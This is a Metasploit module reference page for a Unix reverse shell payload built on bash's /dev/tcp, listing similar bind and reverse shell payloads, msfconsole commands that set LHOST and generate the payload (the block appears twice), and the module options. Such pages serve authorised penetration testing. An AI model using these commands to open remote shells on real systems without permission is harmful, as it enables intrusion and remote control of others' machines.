Browse Exploit & Auxiliary Modules
The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.
Search for modules
Unix Command Shell, Reverse TCP (/dev/tcp)
Creates an interactive shell via bash's builtin /dev/tcp. This will not work on most Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.
Rank
- Normal
Authors
- hdm < hdm [at] metasploit.com >
Similar Modules
- payload/cmd/unix/bind_inetd
- payload/cmd/unix/bind_netcat
- payload/cmd/unix/bind_netcat_ipv6
- payload/cmd/unix/bind_perl
- payload/cmd/unix/bind_perl_ipv6
- payload/cmd/unix/bind_ruby
- payload/cmd/unix/bind_ruby_ipv6
- payload/cmd/unix/generic
- payload/cmd/unix/interact
- payload/cmd/unix/reverse
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/cmd/unix/reverse_bash
msf payload(reverse_bash) > set LHOST [MY IP ADDRESS]
msf payload(reverse_bash) > generate
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/cmd/unix/reverse_bash
msf payload(reverse_bash) > set LHOST [MY IP ADDRESS]
msf payload(reverse_bash) > generate
Module Options
| LHOST | The listen address |
| LPORT | The listen port (default: 4444) |
| AutoRunScript | A script to run automatically on session creation. |
| InitialAutoRunScript | An initial script to run on session creation (before AutoRunScript) |
| ReverseConnectRetries | The number of connection attempts to try before exiting the process |
| ReverseListenerBindAddress | The specific IP address to bind to on the local system |
| ReverseListenerComm | The specific communication channel to use for this listener |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
